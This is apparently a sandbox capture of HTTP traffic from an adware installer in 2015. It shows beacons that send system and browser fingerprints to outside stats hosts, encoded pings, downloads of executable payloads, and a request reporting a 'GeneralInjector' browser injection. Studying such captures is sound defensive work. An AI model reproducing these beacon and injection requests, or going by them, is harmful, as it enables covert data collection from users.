GET /installer.gif?action=finished&LFMR=_ffDll_0&app=70299&appver=&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=97E0D9D934E84791AE8E9FB2AE590BFCPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE13c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_36&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429690905&procruntime=15&rnd=1429690920 HTTP/1.1

Host: stats.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: JUvhxIqHJxj4PPXYZTvhSuf1h8wY1w8mO0X4Ln0Ob5PBZAyHx3KlzP44Df4v1ztB2Tk1J6Ko4P0=

x-amz-request-id: C35C878C4A6566BB

Date: Wed, 22 Apr 2015 08:22:01 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:45 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /apps.gif?action=install&app=70299&appver=&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=97E0D9D934E84791AE8E9FB2AE590BFCPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE13c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1429690905&lifetime=0&silent=1&crtnm=na&procstarttime=1429690905&procruntime=15&rnd=1429690920 HTTP/1.1

Host: stats.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: oaMFv1lXsI0RPrMVmhjq4X/7Yd7mhJHx4RKq9qR62APF94f 2tVB9MH4WD/X6MCkP7J2jjPIoJY=

x-amz-request-id: 8EC39A8248B3894A

Date: Wed, 22 Apr 2015 08:22:01 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:38 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: oaMFv1
lXsI0RPrMVmhjq4X/7Yd7mhJHx4RKq9qR62APF94f 2tVB9MH4WD/X6MCkP7J2jjPIoJY=
..x-amz-request-id: 8EC39A8248B3894A..Date: Wed, 22 Apr 2015 08:22:01 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:38 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;..

GET /app/ping.ashx?e=A3ANzFv7fWBMy1Jq1olDf3I0A0MEgFsCUxwg0ZDUHgPdEMPgzYwqeWQ14on7GBy1H8FvIvBulFZLg2W8Sjc jbEjSipAlycxZuS0/O3oV2qLgeb09PU5GTNRcMpAwcBWJe5zAgPj7sZ99y fIOVX74eIUR 7mnwjewCD58w6u8zDtFzkcx43pfkIt A1fNYZvQAY7labZ/L/Gp5D/J/XcqyrehRRRow5j8HEnk34z92MM1rQPB7y4SRp8fXqeUHHaq/aMlQSbm32 iB69ZXsQIs5NNwGglX3b1LhDU6By4NnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYLeE9x6iyf1Thv3VXXdmULoJEL0JZoguDn5dMiu8MPG0/Ty/9D OEZC7QG60abnoF/9Rz9qdjeZA5mLTb589bsPNoSRHDbz9a17BfNKLuO/a HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 503 Service Unavailable

Content-Type: text/html

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:42 GMT

Content-Length: 27

The service is unavailable.HTTP/1.1 503 Service Unavailable..Content-T
ype: text/html..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date
: Wed, 22 Apr 2015 08:21:42 GMT..Content-Length: 27..The service is un
available.....

GET /app/ping.ashx?e=AZwPyJy3TZjGyhYhIfEQnHI0A0MEgFsCyUiIpZuZx vdEMPgzYwqeWQ14on7GBy10Z2od4/JytiUTOMPdFXY/7OjtqelOAq59LOYzccS58ARoGJKEMpEhX5dMiu8MPG0/Ty/9D OEZC7QG60abnoF/9Rz9qdjeZA5mLTb589bsPW6gtNeseSjM8JTwZBXEaArZ2BLw79NpCFt2wTTo5NME5QN0wFADGiZiwA7PPuGba/qYydEVX0aAnwW/N63H3ZmAZw QwVDYSqKgh2j1MECjUHvfSxtRSnxSJhvsAC26xG4Kswyw6eNNjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5/FbCMRz6yfaLjfmcl3PyL5GhRXiiBAM3RDecOO4yPd7dRQ1iDuTWCHerLjg0wWOeIRz 2mBYX7hAI rSxlsmakMO59dZy vi0T4d7cYivHw= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 503 Service Unavailable

Content-Type: text/html

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:43 GMT

Content-Length: 27

The service is unavailable.HTTP/1.1 503 Service Unavailable..Content-T
ype: text/html..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date
: Wed, 22 Apr 2015 08:21:43 GMT..Content-Length: 27..The service is un
available.....

GET /app/ping.ashx?e=AZwPyJy3TZiu PbZ6jHEZkXC18i8H/ZS2ARC6j2XOabc 6Z9uWa7kH0QpZ Jj0 v3D2calArHLvSr4mOXafqVOowNKLwk dee2YPwOTHZ23FMUhKGphgZMFeXk7XK Cm iw914gjrdwO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dCO9IPgnNOO9F8 yMDBivPQE43pumJ80/3Rk5HeoMrM0SSIzVepUeyk3mT/FXSi7eMMHU6Vj8n/WZ5Sx1jghZjZodHAWjIfa0KMuf0vrGjKsSjZn8hkx2mcTnFaBeO7fW4zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPboL08t5jBho9OXal8/X5V43Mz3oCwkcphYOU1y/YINRGoi/vn8Jrvmnd0s7eG0MUR4wxavn5MnYwXiuMMu0WQZkjv 3ulNYP3r5Ajr8ZaTjk= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rep.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 503 Service Unavailable

Content-Type: text/html

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:50 GMT

Content-Length: 27

The service is unavailable.HTTP/1.1 503 Service Unavailable..Content-T
ype: text/html..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date
: Wed, 22 Apr 2015 08:21:50 GMT..Content-Length: 27..The service is un
available...

POST / HTTP/1.1

Host: rapidssl-ocsp.geotrust.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Length: 102

Content-Type: application/ocsp-request

Connection: keep-alive

0d0b0@0>0<0... .........O|u..T/.X.. ..(e0....ki=j.BJ...e9.5$.x..0..
o...0.0... .....0...
0... .....0..
HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1347

content-transfer-encoding: binary

Cache-Control: max-age=436824, public, no-transform, must-revalidate

Last-Modified: Mon, 20 Apr 2015 09:40:20 GMT

Expires: Mon, 27 Apr 2015 09:40:20 GMT

Date: Wed, 22 Apr 2015 08:23:36 GMT

Connection: keep-alive
0..?......80..4.. .....0.....%0..!0...(0&1$0"..U....RapidSSL TGV OCSP 
Responder..20150420094020Z0f0d0<0... .........O|u..T/.X.. ..(e0....
ki=j.BJ...e9.5$.x..0...o.....20150420094020Z....20150427094020Z0...*.H
.............DDf.A...9..$.{I.....h....YM......,>.....`.F?#..p(0..v.
..:.[.......j...}.*....dw.@..*)|.......;....~.......X.LC..{v..*R[=.3H.
<... ....hT.[n..].Xp...&.a....)........`z;...2.7..5.c.~$.'*ra.S..S.
..djH....m..G> ...?g0.7g5.8.D.j:...8|/.........t..b4.zE...o.Kh..!..
.c0.._0..[0..C..........0...*.H........0<1.0...U....US1.0...U....Ge
oTrust, Inc.1.0...U....RapidSSL CA0...140502164755Z..150522164755Z0&1$
0"..U....RapidSSL TGV OCSP Responder0.."0...*.H.............0.........
@1..[[email protected].....=N.. ...[J...KB......R.
l.8..y....KW....i.._.#W.#21D)..s.X<.......N...n.:..~.t.i@......*...
Tz..V...9...|)~uzG.\V.pWf....?J.a..T..:..Z....bIV./.M.,B.....*.Qw.....
.3|XC ..1...\.d{....%.......6Ba...F.=.~.....o.........|0z0...U.#..0...
ki=j.BJ...e9.5$.x..00... .....0......0...U.%..0... .......0...U.......
....0!..U....0...0.1.0...U....TGV-B-1190...*.H.............S..o...s[..
.pM......9<n.&...!9..8.4.C.E.....z.Q5....A.].....o%.*.c.A.ik.C.L...
.9S....g.sk/N.L.....1A..4w....f.2..pv..WX......UI..3W.]..Z....{.S.o..P
..G...F-....!.?.^.....{.c....5....aSU.A2.....)uAD... .....P.*$..>..
J.......QKwI....GU...O.{g....._....J..<....<<< skipped >>>

GET /install.ashx?e=iAb9K1DDBHVFwtfIvB/2UtXwAHXY4LJtX/iFdqiZ5XW2ZMgjutBt7OQRE0cF7lrf/k6YQPAn cmeLw31Ygf6oZlbztiqtoL/TokU9chNtxaHMa5E8LXYXSj4RBWOV2QSTzF53EHpwgtyRdUuNvgXmiJjxUWJId3oF/r hSUlo5i1FchkYiZploQKV7JoYf3gQcOav1fvIInFToJxGXpok7Mp5a5JKLY84tkC2WJTEqk677i59tbrijN29qu1AFc5F vrzn i2STmupmdz0X933 57xg6As7fQcOav1fvIInFToJxGXpok7Mp5a5JKLY8jARCJdOax3BQLHhZSKf6F1J4r6F5 wsCmsYBmEqYe81Sgdd2itB1rdCtLI2jnxFtO2YKgZHX2edYluIlhKckqejXQuHaKGTBrNY0MH32 Vpli0vhDt6hccxbZzrrWlFPkDtNnW3aPgXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW ax5eone962kQECTO3/voqUO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGq8VQmTt9zY HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: wt94bf4ec-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:16 GMT

Content-Type: application/octet-stream

Content-Length: 2432

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O.G.....|[email protected]*......Q..~.G...V%j^u.1.A;.p.....a6...`.....
~.$........0...(....._.....c<"..D.......h..i<"..D...hnJ.....8/E.
.....9..A .......,.#.x/D..EN|V..8.....(..Y.....RO.....pu3@[S......{X.5
..#...t....... t.....4...S}~.....e.YH..,....4L.....2.....N...A........
..*......z ...e..F3.9.G....v$.t..Lr..?..Z.B[.|...FR#.S..rlD..i0u[.f.I.
.Fy.Y......5....x!..."..fA..#.n.....M3.._...).?.=.....M.i.`D.s....[.Rf
mT..F..u\[email protected].......,..r.c.........Bv...?..^.$.o...{[email protected].
....).Ex_(......|....v....g....)..(A..7p...1.. . ..{..K...e..q.".....x
.Sv...9..c.|.Kn...i...-..u...?'....c9..a........c.e...\.u....... .;...
...~V.;.......6.Ev.`M..x&.\'.p..>{...*r.R...[.Y.qu..K*..O .*.|.C<
;m....TP.U.h.`9X.1.u.;..8n..o$......3.{p.M..~P...v.n.l.7.J.._...?R....
...[.....-14s.....\......O.M.ydiB...J....hEq.iR.......*..|..(G...N....
..$Z...........~.......B.YZ....a.)v\k...[..l....f.z9.J5.$)f.k...f....j
9Ti.<.=..B........w....S.....t&G6..\rLU../.,..#...8.......1..n.*U.&
lt;p.........!.O.Rd..T.H]...,.O0v.............H...<............. C.
t^.c.i|....9.dD}..y.P7..z..O...........c....mh..z.=r4..i.C.....d.[....
<s0.....].9....xl..l.&J-.RL......\P..-yX....T. .5..5.....c....m6...
.<..Q.j.#.U0/.#...T..:[email protected]..%;.....V.<...._....-g....!.ea.5..
[email protected].].........{pjG,`].....Y.H.v..l.?......[.|...q...b.."
.WV..)G..5| ;...=.<..]/..!...e.(..F..U...j.............k....D....-.
.......?.......C......J.{z.F...ja.S..q......'.pZ.Z.......B...... .<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2pBhrP9twY3lF42COn1MpAq7ulJQO8zoo7Fe48U53GZBKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRsFG5pEsdteclrUWED/AT5O8SfacMoEvML VAuC4pJDk/gg/pCrjQ09kLgavIVMUP&product=EXTFirefox&rnd=1429691013&it=1&action=Inject&text=GeneralInjector HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:23:33 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 22 Apr 20
15 08:23:33 GMT..Content-Length: 0..

GET //MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH+3ahq1OMCAxvnFQ== HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.godaddy.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:23:17 GMT

Server: Apache

Content-Transfer-Encoding: Binary

Cache-Control: max-age=119457, public, no-transform, must-revalidate

Last-Modified: Wed, 22 Apr 2015 07:19:02 GMT

Expires: Thu, 23 Apr 2015 19:19:02 GMT

ETag: "1e2c2a26ab297b40673702061beb4eb85e94278e"

P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"

Content-Length: 1708

Connection: close

Content-Type: application/ocsp-response
0..........0..... .....0......0...0......0..1.0...U....US1.0...U....Ar
izona1.0...U....Scottsdale1.0...U....GoDaddy.com, Inc.100...U...'Go Da
ddy Root Validation Authority - G1..20150422071902Z0f0d0<0... .....
.... ......]..J^.y_..F<........L.q.a.=....j...........2015042207190
2Z....20150423191902Z0...*.H................X.7Y.<.tJ.}.....XN2.)&?
.....kR.i..&.>?...h..N.).t.b...|...H...a.6....q.".........S3{.y..o.
2...:....,^23."z....rL{.%...RK..".vd.z(.Ku.z1..Bt....*N.h.A_.R.Q.iH...
.....V...%V.:...dK#>K....ZJW.bf....C>Y5/<^........)....j.....
.!=.I..0#' E.."O.O.2.'._Z..,.......m0..i0..e0..M...........T.m^'0...*.
H........0c1.0...U....US1!0...U....The Go Daddy Group, Inc.110/..U...(
Go Daddy Class 2 Certification Authority0...150316070000Z..16031607000
0Z0..1.0...U....US1.0...U....Arizona1.0...U....Scottsdale1.0...U....Go
Daddy.com, Inc.100...U...'Go Daddy Root Validation Authority - G10.."0
...*.H.............0.........xo(....QQ.`L.~...&...a.F.=.....d=....."..
....?...\..........b.D....l=.HS.N......A..;....C)...(..T........XA-N..
..k1 .....ag...,4.L{.I..hEKb..K......!.(...7....p.O...X.._........8.B.
.k[4...........e.../....^.S..7A.b.oB..\......2%.|c...A....Fk.T..24.0B.
..p.........0..0...U.......0.0...U...........0...U.%..0... ......... .
......0...U.......O........f...e..r..0... .....0......0=..U...60402.0.
..,hXXp://crl.godaddy.com/repository/gdroot.crl0J..U. .C0A0?..`.H...m.
...000... ........"hXXp://crl.godaddy.com/repository/0...*.H..........
...G.1..Ve.........'\.... ..[2).l.J.:\.{.,cq...!.h.~...n....m3..o.<<< skipped >>>

GET //MEQwQjBAMD4wPDAJBgUrDgMCGgUABBTkIInKBAzXkF0Qh0pel3lfHJ9GPAQU0sSw0pHUTBFxs2HLPaH+3ahq1OMCAxvnFQ== HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.godaddy.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:23:17 GMT

Server: Apache

Content-Transfer-Encoding: Binary

Cache-Control: max-age=119457, public, no-transform, must-revalidate

Last-Modified: Wed, 22 Apr 2015 07:19:02 GMT

Expires: Thu, 23 Apr 2015 19:19:02 GMT

ETag: "1e2c2a26ab297b40673702061beb4eb85e94278e"

P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"

Content-Length: 1708

Connection: close

Content-Type: application/ocsp-response
0..........0..... .....0......0...0......0..1.0...U....US1.0...U....Ar
izona1.0...U....Scottsdale1.0...U....GoDaddy.com, Inc.100...U...'Go Da
ddy Root Validation Authority - G1..20150422071902Z0f0d0<0... .....
.... ......]..J^.y_..F<........L.q.a.=....j...........2015042207190
2Z....20150423191902Z0...*.H................X.7Y.<.tJ.}.....XN2.)&?
.....kR.i..&.>?...h..N.).t.b...|...H...a.6....q.".........S3{.y..o.
2...:....,^23."z....rL{.%...RK..".vd.z(.Ku.z1..Bt....*N.h.A_.R.Q.iH...
.....V...%V.:...dK#>K....ZJW.bf....C>Y5/<^........)....j.....
.!=.I..0#' E.."O.O.2.'._Z..,.......m0..i0..e0..M...........T.m^'0...*.
H........0c1.0...U....US1!0...U....The Go Daddy Group, Inc.110/..U...(
Go Daddy Class 2 Certification Authority0...150316070000Z..16031607000
0Z0..1.0...U....US1.0...U....Arizona1.0...U....Scottsdale1.0...U....Go
Daddy.com, Inc.100...U...'Go Daddy Root Validation Authority - G10.."0
...*.H.............0.........xo(....QQ.`L.~...&...a.F.=.....d=....."..
....?...\..........b.D....l=.HS.N......A..;....C)...(..T........XA-N..
..k1 .....ag...,4.L{.I..hEKb..K......!.(...7....p.O...X.._........8.B.
.k[4...........e.../....^.S..7A.b.oB..\......2%.|c...A....Fk.T..24.0B.
..p.........0..0...U.......0.0...U...........0...U.%..0... ......... .
......0...U.......O........f...e..r..0... .....0......0=..U...60402.0.
..,hXXp://crl.godaddy.com/repository/gdroot.crl0J..U. .C0A0?..`.H...m.
...000... ........"hXXp://crl.godaddy.com/repository/0...*.H..........
...G.1..Ve.........'\.... ..[2).l.J.:\.{.,cq...!.h.~...n....m3..o.<<< skipped >>>

GET /monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429690905&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429690905 HTTP/1.1

Host: logs.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:48 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1389114507"

Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT

Cache-Control: max-age=86400

Content-Length: 35

Content-Type: image/gif

X-HW: 1429690909.dop011.am4.t,1429690908.cds058.am4.c

GIF89a.............,...........D..;..

GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1

Range: bytes=125045-

User-Agent: Better Installer(Mozilla)

Host: d1z9ocnzqrnjt0.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 75027

Connection: keep-alive

Date: Sun, 19 Apr 2015 06:46:01 GMT

x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH

x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537

Cache-Control: max-age=3600

Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT

ETag: "ef7d1863f4980ab0c8bda142fee67f92"

Accept-Ranges: bytes

Server: AmazonS3

Age: 1032

Content-Range: bytes 125045-200071/200072

X-Cache: Hit from cloudfront

Via: 1.1 795b65ff0c55e70d8791f9def508f3a8.cloudfront.net (CloudFront)

X-Amz-Cf-Id: EvWuMQvF3RE-HPIC8KhmMRNgywNAIGSB5jC7rocRHp6CnvuEjYHvhw==
.s..G....e......H.,.\6.,..u.{.(.G...b. .|'W..Sn..d...04fzHC.6..>...
 S...I..&.............}O'Y..2...e....#I".T(x.!....f.:.9.).. ....!^.!..
v....!.. s.......|h..&....i......d....Z....;.6=. ...].Y......Ba.q..f..
....g....S^S..Q.#.|.. .Wb.......nu.z..X._u...t........[...M..$U..5..-.
.yc1g.\..:...>..f.5n.aY6.....$0.tX.T8..e.tc..qoKh)]...Nw...r9$-.MdJ
Bc~...N.....r.v..c..1...m.S%.S.)\.0q....S8(..6..*u1.)Ji`x......F|..,G;
..sdb.2....dz....jJ..0....$....&....0.0.`B..~...X.:.I.....;!uu|S. 5..s
6..'..3.....%.....#...{\..`..}..Z .SRa.d......6..R....[........k.]..3w
P..1......xA....2.V.N.>..c..m7.?...r*`J.6....*[%...;....G$y>..].
....Y.3L.=fx6.5<..f.i3'Q..A3F......_U......Vu2...9?6....p"W&.Fj..v.
7....D ......0..y...TG4L'....\H..B..a:.\.....7.U..9....QW....4..r....p
...a%....|.Z.....N...oT.\4...E..5.G..B..X.../......z..j9Z.1../..!.}.D.
.rg.$..,6.Tp.|..V...W.L.....n.(.....FK.,p}[email protected]=j.:....2..>
.h>..k.2....n.^6....R....#....._X4=u.{.3$=..'o...S....~"O...?....5.
8...q.L.i......I.4!.{r$P....p._qL.y-.z..*...C..|.k........i....?..}A..
Gj..h......k?....p...U...c.4m..I.)....@.&%.-. .Y...............!.X/a..
c..GfP...b..5F,^..9....`"e...u.... :wF...../$..rH.Dk.K.Be..0.C..-^...y
.S{.S.[.....a.|....m<,.KE........l[.........=.].g K...R.1...{......
..... .>RK....Qs#.B..:S...O&.O...i}...8_...\.I.M.....Gs\_.o*.s....'
.T,.>.x......V......G...... *A.#...~.U..)...o..-.OB.hl.K......5....
.!=9.%w~....I...Y.."....?N...]..i.zn.r.veB....p....tx...\..w.....g.[..
p.C8...4........2.g......%..lb.....G..PMi..b...B.*...(Q^.*.BjbLn..<<< skipped >>>

GET /17416.ashx?e=WL9usJOVMsOip5SW8XfeInI0A0MEgFsCbpEIGKaUKB1AXdQqxJ1va3sc7hbJtTJHVR5AawbKoxpd5sSQkmuoYNcNqW9cpn67YCpHZc9ZUaH6MIOzDij/FhQC drCF7eF njmPLTFBJTHZ0SBJrLaprY4IvPwXqEQMSZV3lug1pD1Ez1y92rC5W/XGM3eTsN iCHLDEUg0E9ZhAiHs FPXj4muiLFL76qdrhEpZL 4aO zY9fV5WlouSF8e D2/ze94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:16 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:16 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /17416.ashx?e=QgW8pN5r26ZQhScA1jb3T0jF1bjII1t47OXLse4BafTbQC nVTu53mZVsyaCUtL6kJDZemxzbLHWdrjaSeXx23ankOHCPrFazGThMIf51WVXR/NyvIYFLdzDfL2GbTHUVR5AawbKoxpd5sSQkmuoYF2oGot0MQhTYCpHZc9ZUaGGezoD1qtkebhzXK2mWcezxLLCQXXwGXzCAftlZERRx2ijEAD 5VMSWqN41HTaAkoLRhFr7R7M5X6K3NyMhemQUYEfqtRQD78IVG4A1llRrdZ2uNpJ5fHbdqeQ4cI sVrMZOEwh/nVZVdH83K8hgUtt19n teix7 rMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUQECTO3/voqUO g3f1lhigAaUHeuVfIIXRg7/hK3VBgOhwSHWywN/dGq8VQmTt9zY HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:17 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va/VnFVL/bsGoNCUHeR8YCF313OfQWxYQIgX v6FJSWjmLUVyGRiJmmWZrdGZ5CXclXYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaPByCfGyRMRTdRQ1iDuTWCHerLjg0wWOeIRz 2mBYX7hAI rSxlsmasw4bpiPG/cI HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:17 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /17416.ashx?e=wlkQ3WKgYpSXQ02 mivEAHI0A0MEgFsCmtuQNsCqEXlAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bT9PL/0P44RkLtAbrRpuegX/1HP2p2N5kDmYtNvnz1uw7zyhgfnfWXV1JJpRAUOpYSeY/e3xqcYN0 wshj/mYymX4l9XCm/Va9MPpNra519lzs1eJiiYYwojgb6v7cXpPvbiGjjio4NqpcQqJAqvU1Umua4LEJhhF3iLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WUlrUWED/AT5O8SfacMoEvML VAuC4pJDk/gg/pCrjQ09kLgavIVMUP HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:17 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

